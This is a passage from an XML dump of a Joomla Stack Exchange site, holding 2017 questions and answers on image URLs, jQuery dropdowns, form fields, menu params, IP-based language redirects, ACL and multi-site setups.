way to make it portable across hosts or servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have solved it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$siteURL='http'.(empty($_SERVER['HTTPS'])?'':'s').'://'.$_SERVER['SERVER_NAME'];&#xA;&#xA;$url = $siteURL.FlexicontentFields::getFieldDisplay($item, 'image', null, 'display_large_src', 'item');&#xA;&#xA;echo $url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there a simpler Joomla way to do it? &lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2017-07-10T18:50:15.960" Title="Get the full Joomla URL for an image" Tags="|php|flexicontent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20765" PostTypeId="2" ParentId="20764" CreationDate="2017-05-11T17:23:00.810" Score="1" Body="&lt;p&gt;I suspect it already does what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout code for Flexicontent, they generate links using &lt;code&gt;JURI::base(true)&lt;/code&gt; and &lt;code&gt;JURI::root(true)&lt;/code&gt;.  This is the same as &lt;code&gt;JURI::base()&lt;/code&gt; and &lt;code&gt;JURI::root()&lt;/code&gt;, but returns the absolute path only rather than the absolute link.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The double /cax2017/cax2017/ would certainly be consistant with this, so I assume the getFieldDisplay function works like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach means that you can move it to a different host without any issue - the links should update the path automatically when you set the new configuration file.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-11T17:23:00.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20766" PostTypeId="2" ParentId="20741" CreationDate="2017-05-11T21:20:19.203" Score="2" Body="&lt;p&gt;The jQuery function was operating against all elements with the assigned target class. The result of that was all dropdowns opening simultaneously. The resolution was to assign a unique ID to each of the dropdown elements and use the jQuery function to open the targets assigned ID using $(this). Example of the jQuery code for the dropdown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//PHP LOOP FOR EACH ITEM&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;topb&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;sessind&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;fll&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;time; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;fll&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;dropbtn&quot; data-id=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&amp;lt;a&amp;gt;open&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;moredta&quot; id=&quot;data_&amp;lt;?php echo $i; ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;leftc&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;teacher:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;teacher; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;rightc&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;level:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;lvl; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;notes&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;notes:&amp;lt;/b&amp;gt; &amp;lt;?php echo $item-&amp;gt;notes; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the jQuery function for manipulating the element via a class declaration and unique ID&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;.dropbtn&quot;).on(&quot;click&quot;,function(e){&#xA;            var dataid = $(this).data(&quot;id&quot;);&#xA;        $(this).text(function(i, text){&#xA;          return text === &quot;open&quot; ? &quot;close&quot; : &quot;open&quot;;&#xA;        })&#xA;        $(this).toggleClass('active');&#xA;        $(&quot;#data_&quot;+dataid).slideToggle('fast');&#xA;        e.preventDefault();&#xA;    });&#xA;&#xA;    var att = 4,&#xA;        cap = 5;&#xA;    if(att === cap){&#xA;        $(&quot;.sessind&quot;).css('background','red'),&#xA;        $(&quot;.dropbtn&quot;).off(&quot;click&quot;),&#xA;        $(&quot;.dropbtn a&quot;).text(&quot;full&quot;);&#xA;    }else if(att &amp;gt;= cap - 2 &amp;amp;&amp;amp; att != cap){&#xA;        $(&quot;.sessind&quot;).css('background','yellow');&#xA;    }else if(att &amp;lt; cap - 2){&#xA;        $(&quot;.sessind&quot;).css('background','lime');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The  tag can also be replaced with a span tag in the dropbtn  so it can be styled with CSS. If the href gets replaces with a span you can remove the e.preventDefault() line from the click function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glad my answer helped you figure everything out.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-05-11T21:20:19.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20768" PostTypeId="2" ParentId="2451" CreationDate="2017-05-12T00:08:18.077" Score="0" Body="&lt;p&gt;Found this looking for a solution to this&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=903425&amp;amp;p=3474051#p3474051&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=903425&amp;amp;p=3474051#p3474051&lt;/a&gt;&#xA;the same issue with disappearing tabs on frontend editing &#xA;unset mootools using these &#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=813835&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=813835&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think in may case it's &#xA;unset($doc-&gt;_scripts[JURI::root(true) . '/media/system/js/mootools-core.js']);&lt;/p&gt;&#xA;" OwnerUserId="11060" LastActivityDate="2017-05-12T00:08:18.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20771" PostTypeId="1" CreationDate="2017-05-12T08:41:19.493" Score="0" ViewCount="1946" Body="&lt;p&gt;I've just upgraded to Joomla 3.7 (from 3.5) and now I'm encountering issues after installing extensions &amp;amp; components. I receive a &lt;code&gt;404 Component not found&lt;/code&gt; error. I've tried with various extensions and components, same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension installs successfully and I'm able to see the extension name in the admin menu, however clicking on it takes me to the following screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f6buj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f6buj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/15588&quot; rel=&quot;nofollow noreferrer&quot;&gt;this issue&lt;/a&gt; in the Joomla bug tracker. It recommenced clearing the admin cache, however this makes no difference (for me at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system cache setting &lt;strong&gt;was&lt;/strong&gt; set to '&lt;em&gt;On - Conservative&lt;/em&gt;'. As soon as i turned this to '&lt;em&gt;Off - Caching disabled&lt;/em&gt;' I was able to re-install and access the component successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've noticed that I'm unable to access the front or back end of my website. I'm seeing an &lt;strong&gt;Internal Server Error&lt;/strong&gt;. I still have ftp access to my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on, or how I can troubleshoot the issue?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2017-05-12T09:44:38.570" LastActivityDate="2018-09-09T18:01:32.757" Title="Joomla 3.7 404 Component Not Found" Tags="|component|extensions|installation|cache|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20772" PostTypeId="1" AcceptedAnswerId="20787" CreationDate="2017-05-12T10:06:43.437" Score="0" ViewCount="1179" Body="&lt;p&gt;I am getting this Error when i visit my Homepage (&lt;a href=&quot;http://www.volleyball-hammelburg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.volleyball-hammelburg.de/&lt;/a&gt;). When i refresh the Site a few times the Error is gone. But when i revisit the page after some time the error shows up again.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/US3Bm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/US3Bm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this happens since 3.7.0&lt;/p&gt;&#xA;" OwnerUserId="7020" LastActivityDate="2017-05-14T15:19:21.603" Title="Error: 0 - call to a member function find() on boolean" Tags="|joomla-3.7|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20773" PostTypeId="1" CreationDate="2017-05-12T10:29:45.977" Score="1" ViewCount="241" Body="&lt;p&gt;I am trying to write a Joomla plugin to add fields to the user group admin form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have previously written plugins that have added a new tab to the user form. This is possible by having a plugin with the &lt;code&gt;onContentPrepareForm&lt;/code&gt; method, and calling &lt;code&gt;$form-&amp;gt;load()&lt;/code&gt; or &lt;code&gt;$form-&amp;gt;loadFile()&lt;/code&gt; to inject the XML for the new tab of fields into the existing form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I say, this works well for the user form, but does absolutely nothing at all on the group form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a plugin, referenced the form name as &lt;code&gt;com_users.group&lt;/code&gt;, and called &lt;code&gt;$form-&amp;gt;load()&lt;/code&gt; to inject my form XML. The XML is valid and no errors are reported, but the new form fields do no show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that this is because the user form is already defined with multiple tabs, whereas the group form is much simpler and is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried adding the individual fields to the existing form (with without creating a new tab) by using &lt;code&gt;$form-&amp;gt;setField()&lt;/code&gt;, but this also isn't having any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, when I do a &lt;code&gt;var_dump($form)&lt;/code&gt; after injecting my fields, I can see the new fields in the form's XML object structure, but they are not in the right place in the structure, which I guess is why they're not showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help point me in the right direction here? It's getting quite frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2017-05-12T12:40:05.863" Title="Adding fields to user group admin form" Tags="|plugin|jform|user-groups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20775" PostTypeId="2" ParentId="20773" CreationDate="2017-05-12T12:40:05.863" Score="1" Body="&lt;p&gt;The group &lt;code&gt;edit.php&lt;/code&gt; template file won't render any additional fields that might exist on the form, as it seems to be quite simple and somewhat static. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likely you are going to need a template override, where you will iterate over the custom fields of your fieldset and render them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the core fields, something like below could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset('YOUR_CUSTOM_FIELDSET') as $field) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-12T12:40:05.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20776" PostTypeId="2" ParentId="4313" CreationDate="2017-05-12T14:22:26.980" Score="1" Body="&lt;p&gt;Just did this with joomla 3.7, only needed to change one param. here is the code i used successfully:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update xxx_menu set params = replace(params,'&quot;show_page_heading&quot;:&quot;1&quot;','&quot;show_page_heading&quot;:&quot;0&quot;') where params like '%&quot;show_page_heading&quot;:&quot;1&quot;%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested it with a where clause for one menu id first to be sure it worked, and of course backed up everything first! Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="11066" LastEditorUserId="126" LastEditDate="2017-05-12T14:29:00.767" LastActivityDate="2017-05-12T14:29:00.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20777" PostTypeId="1" CreationDate="2017-05-12T15:47:11.580" Score="0" ViewCount="125" Body="&lt;p&gt;I want to create a custom module that shows the content of an article, I need to know two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What form field should I use in order to select the article that I want to use from the backend?. I've checked this : &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_and_parameter_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Standard_form_field_and_parameter_types&lt;/a&gt; but I still don't know which should I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I retreive the article in my main php?, maybe this is related to the form field in the above question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11067" LastEditorUserId="126" LastEditDate="2017-05-12T18:59:01.347" LastActivityDate="2017-05-12T18:59:01.347" Title="I want to create a module that shows the content of an article" Tags="|joomla-3.x|module|joomla-api|com-content|form-fields-types|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20778" PostTypeId="2" ParentId="20777" CreationDate="2017-05-12T18:57:34.240" Score="1" Body="&lt;p&gt;There is not a standard form field for articles, but there is the SQL field which allows querying the database and returns a dropdown list with the results, which could be sufficient for a simple implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a really helpful documentation page for it with many examples: &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/SQL_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example XML field definition: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;articleid&quot;&#xA;    type=&quot;sql&quot;&#xA;    default=&quot;&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id, title FROM #__content&quot;&#xA;    key_field=&quot;id&quot;&#xA;    value_field=&quot;title&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later in your module, you will have the articleid by the module's parameters. You can load the article like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = $params-&amp;gt;get('articleid');&#xA;$article = JTable::getInstance(&quot;content&quot;);&#xA;$article-&amp;gt;load($article_id);&#xA;&#xA;//var_dump($article); &#xA;//this is the whole article object you have loaded.&#xA;&#xA;// You can echo properties like so:&#xA;echo $article-&amp;gt;title;&#xA;echo $article-&amp;gt;introtext;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-12T18:57:34.240" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20779" PostTypeId="2" ParentId="17405" CreationDate="2017-05-13T11:03:20.513" Score="1" Body="&lt;p&gt;I don't recommend you to process this data with an SQL query. Its not bulletproof and you don't have a tools to validate the data. Why? You would have to work strictly on strings that can lead to broken data. Not to mention that creating and testing a proper query would take ages.&lt;/p&gt;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&lt;p&gt;What I would recommend is to do it through &lt;strong&gt;CLI Joomla! application&lt;/strong&gt;. You gonna have access to the Joomla! framework and you can use all sort of Joomla! tables and models to validate/process data. You would also be able to check if data is not broken. Of course you should do it on website copy or at least have a backup of your database. You can easily force the CLI application to work from browser too if you prefer that way.&lt;/p&gt;&#xA;&lt;h3&gt;Example CLI application&lt;/h3&gt;&#xA;&lt;p&gt;For examples you can look into &lt;code&gt;/cli&lt;/code&gt; directory inside your Joomla! installation or here:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/cli/garbagecron.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/cli/garbagecron.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-13T11:03:20.513" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20780" PostTypeId="2" ParentId="18251" CreationDate="2017-05-13T11:20:11.853" Score="1" Body="&lt;h1&gt;Short answer&lt;/h1&gt;&#xA;&lt;p&gt;You can't. You can only try to process system output (via application output buffer or Java Script) or changing system files.&lt;/p&gt;&#xA;&lt;h1&gt;Long answer&lt;/h1&gt;&#xA;&lt;p&gt;Menu component would have to support custom plugin events but it does not. Modifying system files is a really bad idea and I advice you to avoid it. You can try to create a system plugin that will modify application output buffer but it would be vulnerable for code changes. More bulletproof would be to do it with JavaScript/jQuery. That way small changes in code will not affect your plugin functionality. Of course it has its downsides. You can't make this column sortable and you can't search its contents.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-13T11:20:11.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20781" PostTypeId="1" AcceptedAnswerId="20792" CreationDate="2017-05-13T15:50:40.350" Score="0" ViewCount="666" Body="&lt;p&gt;I have a multi-language Joomla 3.4 that at the moment only has 2 languages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;my-domain.com/en/&lt;/li&gt;&#xA;&lt;li&gt;my-domain.com/es/&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I want to redirect the visitor to EN/ES according to their IP (&lt;a href=&quot;http://chir.ag/projects/geoiploc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;with this library&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put my redirect code in the /templates/my-template/index.php file. This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !isset($_SESSION[&quot;client_country&quot;]) ) {&#xA;    $_SESSION[&quot;client_country&quot;] = getCountryFromIP($_SERVER[&quot;REMOTE_ADDR&quot;]);&#xA;    $client_country = $_SESSION[&quot;client_country&quot;];&#xA;    $_SESSION[&quot;total_redirections&quot;] = 1;&#xA;&#xA;    if ( ($client_country == &quot;EN&quot;) || ($client_country == &quot;UK&quot;) ) {&#xA;        header('Location: http://www.my-domain.com/en/');&#xA;    }&#xA;    else {&#xA;        header('Location: http://www.my-domain.com/es/');&#xA;    }&#xA;}&#xA;else {&#xA;    $_SESSION[&quot;total_redirections&quot;] ++;&#xA;    $client_country = $_SESSION[&quot;client_country&quot;];&#xA;&#xA;    if ( $_SESSION[&quot;total_redirections&quot;] &amp;lt;= 2 ) {&#xA;        if ( ($client_country == &quot;EN&quot;) || ($client_country == &quot;UK&quot;) ) {&#xA;            header('Location: http://www.my-domain.com/en/');&#xA;        }&#xA;        else {&#xA;            header('Location: http://www.my-domain.com/es/');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My first and second visits: I am correctly redirected to EN/ES according&#xA;to my IP.&lt;/li&gt;&#xA;&lt;li&gt;My third and subsequent visits: I am no longer redirected to    EN/ES&#xA;according to my IP (I'm redirected to the website's default&lt;br&gt;&#xA;language).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="8699" LastActivityDate="2018-08-03T06:05:30.830" Title="Show the language according to the IP" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20782" PostTypeId="2" ParentId="20781" CreationDate="2017-05-13T16:04:24.413" Score="0" Body="&lt;p&gt;&lt;strong&gt;Redirecting the users to the language you believe they will want based on their IP is a bad UX idea.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, regarding why your code might be stopping after your 2nd visit, likely it is related to the fact that you set &lt;code&gt;$_SESSION['total_redirections']=1;&lt;/code&gt; which you are increasing it with &lt;code&gt;$_SESSION['total_redirections']++;&lt;/code&gt; and then you do whatever you do with this condition: &lt;code&gt;if ( $_SESSION[&quot;total_redirections&quot;] &amp;lt;= 2 )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;code&gt;$_SESSION[&quot;client_country&quot;]&lt;/code&gt; likely is already set, so you run at your &lt;code&gt;else&lt;/code&gt; where the &lt;code&gt;$_SESSION[&quot;total_redirections&quot;]&lt;/code&gt; is &lt;code&gt;&amp;gt;2&lt;/code&gt; after your 2 visits, so there is nothing left more in your code to be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, even if you fix your code and make it work the way you like, reconsider the idea of doing this re-direction on behalf of your users.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-13T16:04:24.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20783" PostTypeId="1" CreationDate="2017-05-13T20:00:32.377" Score="0" ViewCount="122" Body="&lt;p&gt;I need to provide access through joomla 3.6 backoffice to different groups of users: they must be able to SEE, create and edit only their categories and their articles.&#xA;How can I do? With the ACL system I can only avoid that they can modify the items but can still see them.&#xA;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="11071" LastActivityDate="2017-05-14T01:29:31.930" Title="Backend user view own articles" Tags="|administrator|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20784" PostTypeId="2" ParentId="20752" CreationDate="2017-05-13T20:17:57.843" Score="1" Body="&lt;p&gt;If you want to add a a custom html into component configuration popup you would have to create your own field type. That way you can manage the layout but still keep your component inside a framework flow and your configuration will be saved. All the custom stylesheets and scripts can be included same as in view templates.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Tutorial on creating custom form field.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2017-08-07T09:34:23.803" LastActivityDate="2017-08-07T09:34:23.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20785" PostTypeId="2" ParentId="20728" CreationDate="2017-05-13T20:26:44.217" Score="0" Body="&lt;p&gt;At the end of &lt;code&gt;index.php&lt;/code&gt; in your template you can add this. It will remove Joomla! instance of jQuery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;unset($document-&amp;gt;_scripts['media/jui/js/jquery.min.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure that you still gonna have jQuery loaded before any other scripts that require jQuery (in this case the &lt;code&gt;assets.min.js&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to search for uncompressed version of &lt;code&gt;assets.min.js&lt;/code&gt; and then remove the jQuery. Or decompress it using tool like &lt;a href=&quot;http://jsbeautifier.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and then remove it.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-13T20:26:44.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20786" PostTypeId="2" ParentId="20783" CreationDate="2017-05-14T01:29:31.930" Score="1" Body="&lt;p&gt;With &lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/acl-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACL Manager&lt;/a&gt;&lt;/strong&gt; (paid extension), you can use its enhanced ACL feature (from its options), to show only editable articles and modules to your users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the features description of the component:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Enhanced Joomla ACL&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A selection of powerful additional ACL features on top of the Joomla&#xA;  ACL system like: Permissions per Module, Show Editable Modules only,&#xA;  Show Editable Articles only and Permissions for the Category Manager.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-14T01:29:31.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20787" PostTypeId="2" ParentId="20772" CreationDate="2017-05-14T15:19:21.603" Score="-1" Body="&lt;p&gt;Thanks Lodder. Was a misstake in one of my own modules. So no Joomla specific Error what i firstly thought.&lt;/p&gt;&#xA;" OwnerUserId="7020" LastActivityDate="2017-05-14T15:19:21.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20788" PostTypeId="1" AcceptedAnswerId="20791" CreationDate="2017-05-15T08:14:28.130" Score="2" ViewCount="2826" Body="&lt;p&gt;I am trying to use same Joomla files for two different website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it ok?&#xA;Please guide me regarding this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Omkar&lt;/p&gt;&#xA;" OwnerUserId="11075" LastActivityDate="2020-07-24T10:29:07.773" Title="Can i use different site using one Joomla installation?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ClosedDate="2017-05-18T20:45:10.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="20789" PostTypeId="2" ParentId="20788" CreationDate="2017-05-15T08:33:01.673" Score="0" Body="&lt;p&gt;Each Joomla installation has 1 &lt;code&gt;configuration.php&lt;/code&gt;. This file contains the database details for your site. Seeing as Joomla can only use 1 database out the box, each site will require a different installation.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-05-15T08:33:01.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20791" PostTypeId="2" ParentId="20788" CreationDate="2017-05-15T10:20:47.400" Score="2" Body="&lt;h1&gt;Joomla Multi-Sites&lt;/h1&gt;&#xA;&lt;p&gt;Yes, it is possible to use 1 single installation of Joomla files to run 2 or more different sites. This is the so called multi-sites scenario.&lt;/p&gt;&#xA;&lt;p&gt;There are extensions the provide this possibility, but it is also possible with the core. Each option has its own pros and cons and possibilities.&lt;/p&gt;&#xA;&lt;p&gt;Under certain scenarios, it's also possible to share database data (e.g. articles, or single sign-on for users among the shared sites).&lt;/p&gt;&#xA;&lt;p&gt;The following resources will help you with your research:&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Docs&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multiple Domains and Web Sites in a single Joomla! Installation&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Multi-site_Design_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multi-site Design Options&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Extensions&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a 